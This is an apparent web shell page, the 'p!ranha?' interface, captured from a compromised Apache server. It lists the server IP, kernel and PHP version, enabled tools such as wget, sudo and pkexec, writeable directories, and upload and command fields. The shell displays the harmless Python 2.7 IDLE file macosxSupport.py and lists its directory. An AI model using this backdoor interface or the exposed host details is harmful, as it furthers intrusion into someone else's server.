p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/idlelib/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/idlelib/macosxSupport.py
"""
A number of function that enhance IDLE on MacOSX when it used as a normal
GUI application (as opposed to an X11 application).
"""
import sys
import Tkinter
from os import path


_appbundle = None

def runningAsOSXApp():
    """
    Returns True if Python is running from within an app on OSX.
    If so, assume that Python was built with Aqua Tcl/Tk rather than
    X11 Tcl/Tk.
    """
    global _appbundle
    if _appbundle is None:
        _appbundle = (sys.platform == 'darwin' and '.app' in sys.executable)
    return _appbundle

_carbonaquatk = None

def isCarbonAquaTk(root):
    """
    Returns True if IDLE is using a Carbon Aqua Tk (instead of the
    newer Cocoa Aqua Tk).
    """
    global _carbonaquatk
    if _carbonaquatk is None:
        _carbonaquatk = (runningAsOSXApp() and
                         'aqua' in root.tk.call('tk', 'windowingsystem') and
                         'AppKit' not in root.tk.call('winfo', 'server', '.'))
    return _carbonaquatk

def tkVersionWarning(root):
    """
    Returns a string warning message if the Tk version in use appears to
    be one known to cause problems with IDLE.
    1. Apple Cocoa-based Tk 8.5.7 shipped with Mac OS X 10.6 is unusable.
    2. Apple Cocoa-based Tk 8.5.9 in OS X 10.7 and 10.8 is better but
        can still crash unexpectedly.
    """

    if (runningAsOSXApp() and
            ('AppKit' in root.tk.call('winfo', 'server', '.')) ):
        patchlevel = root.tk.call('info', 'patchlevel')
        if patchlevel not in ('8.5.7', '8.5.9'):
            return False
        return (r"WARNING: The version of Tcl/Tk ({0}) in use may"
                r" be unstable.\n"
                r"Visit http://www.python.org/download/mac/tcltk/"
                r" for current information.".format(patchlevel))
    else:
        return False

def addOpenEventSupport(root, flist):
    """
    This ensures that the application will respond to open AppleEvents, which
    makes is feasible to use IDLE as the default application for python files.
    """
    def doOpenFile(*args):
        for fn in args:
            flist.open(fn)

    # The command below is a hook in aquatk that is called whenever the app
    # receives a file open event. The callback can have multiple arguments,
    # one for every file that should be opened.
    root.createcommand("::tk::mac::OpenDocument", doOpenFile)

def hideTkConsole(root):
    try:
        root.tk.call('console', 'hide')
    except Tkinter.TclError:
        # Some versions of the Tk framework don't have a console object
        pass

def overrideRootMenu(root, flist):
    """
    Replace the Tk root menu by something that's more appropriate for
    IDLE.
    """
    # The menu that is attached to the Tk root (".") is also used by AquaTk for
    # all windows that don't specify a menu of their own. The default menubar
    # contains a number of menus, none of which are appropriate for IDLE. The
    # Most annoying of those is an 'About Tck/Tk...' menu in the application
    # menu.
    #
    # This function replaces the default menubar by a mostly empty one, it
    # should only contain the correct application menu and the window menu.
    #
    # Due to a (mis-)feature of TkAqua the user will also see an empty Help
    # menu.
    from Tkinter import Menu, Text, Text
    from idlelib.EditorWindow import prepstr, get_accelerator
    from idlelib import Bindings
    from idlelib import WindowList
    from idlelib.MultiCall import MultiCallCreator

    menubar = Menu(root)
    root.configure(menu=menubar)
    menudict = {}

    menudict['windows'] = menu = Menu(menubar, name='windows')
    menubar.add_cascade(label='Window', menu=menu, underline=0)

    def postwindowsmenu(menu=menu):
        end = menu.index('end')
        if end is None:
            end = -1

        if end > 0:
            menu.delete(0, end)
        WindowList.add_windows_to_menu(menu)
    WindowList.register_callback(postwindowsmenu)

    def about_dialog(event=None):
        from idlelib import aboutDialog
        aboutDialog.AboutDialog(root, 'About IDLE')

    def config_dialog(event=None):
        from idlelib import configDialog
        root.instance_dict = flist.inversedict
        configDialog.ConfigDialog(root, 'Settings')

    def help_dialog(event=None):
        from idlelib import textView
        fn = path.join(path.abspath(path.dirname(__file__)), 'help.txt')
        textView.view_file(root, 'Help', fn)

    root.bind('<<about-idle>>', about_dialog)
    root.bind('<<open-config-dialog>>', config_dialog)
    root.createcommand('::tk::mac::ShowPreferences', config_dialog)
    if flist:
        root.bind('<<close-all-windows>>', flist.close_all_callback)

        # The binding above doesn't reliably work on all versions of Tk
        # on MacOSX. Adding command definition below does seem to do the
        # right thing for now.
        root.createcommand('exit', flist.close_all_callback)

    if isCarbonAquaTk(root):
        # for Carbon AquaTk, replace the default Tk apple menu
        menudict['application'] = menu = Menu(menubar, name='apple')
        menubar.add_cascade(label='IDLE', menu=menu)
        Bindings.menudefs.insert(0,
            ('application', [
                ('About IDLE', '<<about-idle>>'),
                    None,
                ]))
        tkversion = root.tk.eval('info patchlevel')
        if tuple(map(int, tkversion.split('.'))) < (8, 4, 14):
            # for earlier AquaTk versions, supply a Preferences menu item
            Bindings.menudefs[0][1].append(
                    ('_Preferences....', '<<open-config-dialog>>'),
                )
    else:
        # assume Cocoa AquaTk
        # replace default About dialog with About IDLE one
        root.createcommand('tkAboutDialog', about_dialog)
        # replace default "Help" item in Help menu
        root.createcommand('::tk::mac::ShowHelp', help_dialog)
        # remove redundant "IDLE Help" from menu
        del Bindings.menudefs[-1][1][0]

def setupApp(root, flist):
    """
    Perform setup for the OSX application bundle.
    """
    if not runningAsOSXApp(): return

    hideTkConsole(root)
    overrideRootMenu(root, flist)
    addOpenEventSupport(root, flist)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
Icons
--
December 20 2023 04:52:58
0 / 0
0755
AutoComplete.py
8.786 KB
November 14 2023 16:14:19
0 / 0
0644
AutoComplete.pyc
7.693 KB
November 14 2023 16:14:41
0 / 0
0644
AutoComplete.pyo
7.693 KB
November 14 2023 16:14:41
0 / 0
0644
AutoCompleteWindow.py
16.798 KB
November 14 2023 16:14:19
0 / 0
0644
AutoCompleteWindow.pyc
12.15 KB
November 14 2023 16:14:41
0 / 0
0644
AutoCompleteWindow.pyo
12.093 KB
November 14 2023 16:14:43
0 / 0
0644
AutoExpand.py
2.425 KB
November 14 2023 16:14:19
0 / 0
0644
AutoExpand.pyc
2.5 KB
November 14 2023 16:14:41
0 / 0
0644
AutoExpand.pyo
2.5 KB
November 14 2023 16:14:41
0 / 0
0644
Bindings.py
3.218 KB
November 14 2023 16:14:19
0 / 0
0644
Bindings.pyc
4.763 KB
November 14 2023 16:14:41
0 / 0
0644
Bindings.pyo
4.763 KB
November 14 2023 16:14:41
0 / 0
0644
CREDITS.txt
1.821 KB
November 14 2023 16:14:19
0 / 0
0644
CallTipWindow.py
5.981 KB
November 14 2023 16:14:19
0 / 0
0644
CallTipWindow.pyc
6.139 KB
November 14 2023 16:14:41
0 / 0
0644
CallTipWindow.pyo
6.139 KB
November 14 2023 16:14:41
0 / 0
0644
CallTips.py
7.755 KB
November 14 2023 16:14:19
0 / 0
0644
CallTips.pyc
10.141 KB
November 14 2023 16:14:41
0 / 0
0644
CallTips.pyo
10.141 KB
November 14 2023 16:14:41
0 / 0
0644
ChangeLog
55.071 KB
November 14 2023 16:14:19
0 / 0
0644
ClassBrowser.py
6.22 KB
November 14 2023 16:14:19
0 / 0
0644
ClassBrowser.pyc
8.946 KB
November 14 2023 16:14:41
0 / 0
0644
ClassBrowser.pyo
8.946 KB
November 14 2023 16:14:41
0 / 0
0644
CodeContext.py
8.151 KB
November 14 2023 16:14:19
0 / 0
0644
CodeContext.pyc
6.516 KB
November 14 2023 16:14:41
0 / 0
0644
CodeContext.pyo
6.473 KB
November 14 2023 16:14:44
0 / 0
0644
ColorDelegator.py
10.13 KB
November 14 2023 16:14:19
0 / 0
0644
ColorDelegator.pyc
8.71 KB
November 14 2023 16:14:41
0 / 0
0644
ColorDelegator.pyo
8.71 KB
November 14 2023 16:14:41
0 / 0
0644
Debugger.py
15.447 KB
November 14 2023 16:14:19
0 / 0
0644
Debugger.pyc
16.548 KB
November 14 2023 16:14:41
0 / 0
0644
Debugger.pyo
16.548 KB
November 14 2023 16:14:41
0 / 0
0644
Delegator.py
0.812 KB
November 14 2023 16:14:19
0 / 0
0644
Delegator.pyc
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
Delegator.pyo
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
EditorWindow.py
63.29 KB
November 14 2023 16:14:19
0 / 0
0644
EditorWindow.pyc
55.128 KB
November 14 2023 16:14:41
0 / 0
0644
EditorWindow.pyo
55.028 KB
November 14 2023 16:14:44
0 / 0
0644
FileList.py
3.57 KB
November 14 2023 16:14:19
0 / 0
0644
FileList.pyc
3.855 KB
November 14 2023 16:14:41
0 / 0
0644
FileList.pyo
3.823 KB
November 14 2023 16:14:44
0 / 0
0644
FormatParagraph.py
5.658 KB
November 14 2023 16:14:19
0 / 0
0644
FormatParagraph.pyc
4.687 KB
November 14 2023 16:14:41
0 / 0
0644
FormatParagraph.pyo
4.687 KB
November 14 2023 16:14:41
0 / 0
0644
GrepDialog.py
3.957 KB
November 14 2023 16:14:19
0 / 0
0644
GrepDialog.pyc
4.901 KB
November 14 2023 16:14:41
0 / 0
0644
GrepDialog.pyo
4.901 KB
November 14 2023 16:14:41
0 / 0
0644
HISTORY.txt
10.075 KB
November 14 2023 16:14:19
0 / 0
0644
HyperParser.py
10.314 KB
November 14 2023 16:14:19
0 / 0
0644
HyperParser.pyc
6.488 KB
November 14 2023 16:14:41
0 / 0
0644
HyperParser.pyo
6.488 KB
November 14 2023 16:14:41
0 / 0
0644
IOBinding.py
20.688 KB
November 14 2023 16:14:19
0 / 0
0644
IOBinding.pyc
17.16 KB
November 14 2023 16:14:41
0 / 0
0644
IOBinding.pyo
17.16 KB
November 14 2023 16:14:41
0 / 0
0644
IdleHistory.py
3.071 KB
November 14 2023 16:14:19
0 / 0
0644
IdleHistory.pyc
3.126 KB
November 14 2023 16:14:41
0 / 0
0644
IdleHistory.pyo
3.126 KB
November 14 2023 16:14:41
0 / 0
0644
MultiCall.py
17.073 KB
November 14 2023 16:14:19
0 / 0
0644
MultiCall.pyc
15.549 KB
November 14 2023 16:14:41
0 / 0
0644
MultiCall.pyo
15.477 KB
November 14 2023 16:14:44
0 / 0
0644
MultiStatusBar.py
0.765 KB
November 14 2023 16:14:19
0 / 0
0644
MultiStatusBar.pyc
1.491 KB
November 14 2023 16:14:41
0 / 0
0644
MultiStatusBar.pyo
1.491 KB
November 14 2023 16:14:41
0 / 0
0644
NEWS.txt
28.315 KB
November 14 2023 16:14:19
0 / 0
0644
ObjectBrowser.py
4.053 KB
November 14 2023 16:14:19
0 / 0
0644
ObjectBrowser.pyc
6.56 KB
November 14 2023 16:14:41
0 / 0
0644
ObjectBrowser.pyo
6.56 KB
November 14 2023 16:14:41
0 / 0
0644
OutputWindow.py
4.469 KB
November 14 2023 16:14:19
0 / 0
0644
OutputWindow.pyc
5.109 KB
November 14 2023 16:14:41
0 / 0
0644
OutputWindow.pyo
5.109 KB
November 14 2023 16:14:41
0 / 0
0644
ParenMatch.py
6.472 KB
November 14 2023 16:14:19
0 / 0
0644
ParenMatch.pyc
6.816 KB
November 14 2023 16:14:41
0 / 0
0644
ParenMatch.pyo
6.816 KB
November 14 2023 16:14:41
0 / 0
0644
PathBrowser.py
2.578 KB
November 14 2023 16:14:19
0 / 0
0644
PathBrowser.pyc
4.024 KB
November 14 2023 16:14:41
0 / 0
0644
PathBrowser.pyo
4.024 KB
November 14 2023 16:14:41
0 / 0
0644
Percolator.py
2.555 KB
November 14 2023 16:14:19
0 / 0
0644
Percolator.pyc
3.553 KB
November 14 2023 16:14:41
0 / 0
0644
Percolator.pyo
3.373 KB
November 14 2023 16:14:44
0 / 0
0644
PyParse.py
19.053 KB
November 14 2023 16:14:19
0 / 0
0644
PyParse.pyc
9.77 KB
November 14 2023 16:14:41
0 / 0
0644
PyParse.pyo
9.342 KB
November 14 2023 16:14:44
0 / 0
0644
PyShell.py
54.809 KB
November 14 2023 16:14:19
0 / 0
0644
PyShell.pyc
49.144 KB
November 14 2023 16:14:41
0 / 0
0644
PyShell.pyo
49.044 KB
November 14 2023 16:14:44
0 / 0
0644
README.txt
2.562 KB
November 14 2023 16:14:19
0 / 0
0644
RemoteDebugger.py
11.381 KB
November 14 2023 16:14:19
0 / 0
0644
RemoteDebugger.pyc
15.967 KB
November 14 2023 16:14:41
0 / 0
0644
RemoteDebugger.pyo
15.816 KB
November 14 2023 16:14:44
0 / 0
0644
RemoteObjectBrowser.py
0.92 KB
November 14 2023 16:14:19
0 / 0
0644
RemoteObjectBrowser.pyc
2.1 KB
November 14 2023 16:14:41
0 / 0
0644
RemoteObjectBrowser.pyo
2.1 KB
November 14 2023 16:14:41
0 / 0
0644
ReplaceDialog.py
5.691 KB
November 14 2023 16:14:19
0 / 0
0644
ReplaceDialog.pyc
6.32 KB
November 14 2023 16:14:41
0 / 0
0644
ReplaceDialog.pyo
6.32 KB
November 14 2023 16:14:41
0 / 0
0644
RstripExtension.py
0.805 KB
November 14 2023 16:14:19
0 / 0
0644
RstripExtension.pyc
1.445 KB
November 14 2023 16:14:41
0 / 0
0644
RstripExtension.pyo
1.445 KB
November 14 2023 16:14:41
0 / 0
0644
ScriptBinding.py
8.217 KB
November 14 2023 16:14:19
0 / 0
0644
ScriptBinding.pyc
7.962 KB
November 14 2023 16:14:41
0 / 0
0644
ScriptBinding.pyo
7.962 KB
November 14 2023 16:14:41
0 / 0
0644
ScrolledList.py
3.901 KB
November 14 2023 16:14:19
0 / 0
0644
ScrolledList.pyc
6.03 KB
November 14 2023 16:14:41
0 / 0
0644
ScrolledList.pyo
6.03 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialog.py
1.992 KB
November 14 2023 16:14:19
0 / 0
0644
SearchDialog.pyc
2.935 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialog.pyo
2.935 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialogBase.py
4.282 KB
November 14 2023 16:14:19
0 / 0
0644
SearchDialogBase.pyc
5.365 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialogBase.pyo
5.365 KB
November 14 2023 16:14:41
0 / 0
0644
SearchEngine.py
6.573 KB
November 14 2023 16:14:19
0 / 0
0644
SearchEngine.pyc
7.017 KB
November 14 2023 16:14:41
0 / 0
0644
SearchEngine.pyo
7.017 KB
November 14 2023 16:14:41
0 / 0
0644
StackViewer.py
3.767 KB
November 14 2023 16:14:19
0 / 0
0644
StackViewer.pyc
5.788 KB
November 14 2023 16:14:41
0 / 0
0644
StackViewer.pyo
5.788 KB
November 14 2023 16:14:41
0 / 0
0644
TODO.txt
8.279 KB
November 14 2023 16:14:19
0 / 0
0644
ToolTip.py
2.672 KB
November 14 2023 16:14:19
0 / 0
0644
ToolTip.pyc
4.053 KB
November 14 2023 16:14:41
0 / 0
0644
ToolTip.pyo
4.053 KB
November 14 2023 16:14:41
0 / 0
0644
TreeWidget.py
14.874 KB
November 14 2023 16:14:19
0 / 0
0644
TreeWidget.pyc
17.477 KB
November 14 2023 16:14:41
0 / 0
0644
TreeWidget.pyo
17.477 KB
November 14 2023 16:14:41
0 / 0
0644
UndoDelegator.py
10.036 KB
November 14 2023 16:14:19
0 / 0
0644
UndoDelegator.pyc
12.274 KB
November 14 2023 16:14:41
0 / 0
0644
UndoDelegator.pyo
12.274 KB
November 14 2023 16:14:41
0 / 0
0644
WidgetRedirector.py
4.371 KB
November 14 2023 16:14:19
0 / 0
0644
WidgetRedirector.pyc
5.229 KB
November 14 2023 16:14:41
0 / 0
0644
WidgetRedirector.pyo
5.229 KB
November 14 2023 16:14:41
0 / 0
0644
WindowList.py
2.415 KB
November 14 2023 16:14:19
0 / 0
0644
WindowList.pyc
3.551 KB
November 14 2023 16:14:41
0 / 0
0644
WindowList.pyo
3.551 KB
November 14 2023 16:14:41
0 / 0
0644
ZoomHeight.py
1.276 KB
November 14 2023 16:14:19
0 / 0
0644
ZoomHeight.pyc
1.614 KB
November 14 2023 16:14:41
0 / 0
0644
ZoomHeight.pyo
1.614 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.py
0.036 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
0.124 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
0.124 KB
November 14 2023 16:14:41
0 / 0
0644
aboutDialog.py
6.421 KB
November 14 2023 16:14:19
0 / 0
0644
aboutDialog.pyc
6.632 KB
November 14 2023 16:14:41
0 / 0
0644
aboutDialog.pyo
6.632 KB
November 14 2023 16:14:41
0 / 0
0644
config-extensions.def
2.723 KB
November 14 2023 16:14:19
0 / 0
0644
config-highlight.def
1.699 KB
November 14 2023 16:14:19
0 / 0
0644
config-keys.def
7.348 KB
November 14 2023 16:14:19
0 / 0
0644
config-main.def
2.453 KB
November 14 2023 16:14:19
0 / 0
0644
configDialog.py
52.232 KB
November 14 2023 16:14:19
0 / 0
0644
configDialog.pyc
43.814 KB
November 14 2023 16:14:41
0 / 0
0644
configDialog.pyo
43.814 KB
November 14 2023 16:14:41
0 / 0
0644
configHandler.py
28.679 KB
November 14 2023 16:14:19
0 / 0
0644
configHandler.pyc
26.834 KB
November 14 2023 16:14:41
0 / 0
0644
configHandler.pyo
26.834 KB
November 14 2023 16:14:41
0 / 0
0644
configHelpSourceEdit.py
6.523 KB
November 14 2023 16:14:19
0 / 0
0644
configHelpSourceEdit.pyc
6.564 KB
November 14 2023 16:14:41
0 / 0
0644
configHelpSourceEdit.pyo
6.564 KB
November 14 2023 16:14:41
0 / 0
0644
configSectionNameDialog.py
3.633 KB
November 14 2023 16:14:19
0 / 0
0644
configSectionNameDialog.pyc
4.21 KB
November 14 2023 16:14:41
0 / 0
0644
configSectionNameDialog.pyo
4.21 KB
November 14 2023 16:14:41
0 / 0
0644
dynOptionMenuWidget.py
1.271 KB
November 14 2023 16:14:19
0 / 0
0644
dynOptionMenuWidget.pyc
1.661 KB
November 14 2023 16:14:41
0 / 0
0644
dynOptionMenuWidget.pyo
1.661 KB
November 14 2023 16:14:41
0 / 0
0644
extend.txt
3.557 KB
November 14 2023 16:14:19
0 / 0
0644
help.txt
11.719 KB
November 14 2023 16:14:19
0 / 0
0644
idle.py
0.391 KB
November 14 2023 16:14:19
0 / 0
0644
idle.pyc
0.396 KB
November 14 2023 16:14:41
0 / 0
0644
idle.pyo
0.396 KB
November 14 2023 16:14:41
0 / 0
0644
idle.pyw
0.648 KB
November 14 2023 16:14:19
0 / 0
0644
idlever.py
0.022 KB
November 14 2023 16:14:19
0 / 0
0644
idlever.pyc
0.155 KB
November 14 2023 16:14:41
0 / 0
0644
idlever.pyo
0.155 KB
November 14 2023 16:14:41
0 / 0
0644
keybindingDialog.py
12.116 KB
November 14 2023 16:14:19
0 / 0
0644
keybindingDialog.pyc
12.054 KB
November 14 2023 16:14:41
0 / 0
0644
keybindingDialog.pyo
12.054 KB
November 14 2023 16:14:41
0 / 0
0644
macosxSupport.py
6.076 KB
November 14 2023 16:14:19
0 / 0
0644
macosxSupport.pyc
6.249 KB
November 14 2023 16:14:41
0 / 0
0644
macosxSupport.pyo
6.249 KB
November 14 2023 16:14:41
0 / 0
0644
rpc.py
19.751 KB
November 14 2023 16:14:19
0 / 0
0644
rpc.pyc
21.262 KB
November 14 2023 16:14:41
0 / 0
0644
rpc.pyo
21.158 KB
November 14 2023 16:14:44
0 / 0
0644
run.py
11.54 KB
November 14 2023 16:14:19
0 / 0
0644
run.pyc
12.137 KB
November 14 2023 16:14:41
0 / 0
0644
run.pyo
12.08 KB
November 14 2023 16:14:44
0 / 0
0644
tabbedpages.py
17.762 KB
November 14 2023 16:14:19
0 / 0
0644
tabbedpages.pyc
17.665 KB
November 14 2023 16:14:41
0 / 0
0644
tabbedpages.pyo
17.665 KB
November 14 2023 16:14:41
0 / 0
0644
textView.py
3.462 KB
November 14 2023 16:14:19
0 / 0
0644
textView.pyc
4.199 KB
November 14 2023 16:14:41
0 / 0
0644
textView.pyo
4.199 KB
November 14 2023 16:14:41
0 / 0
0644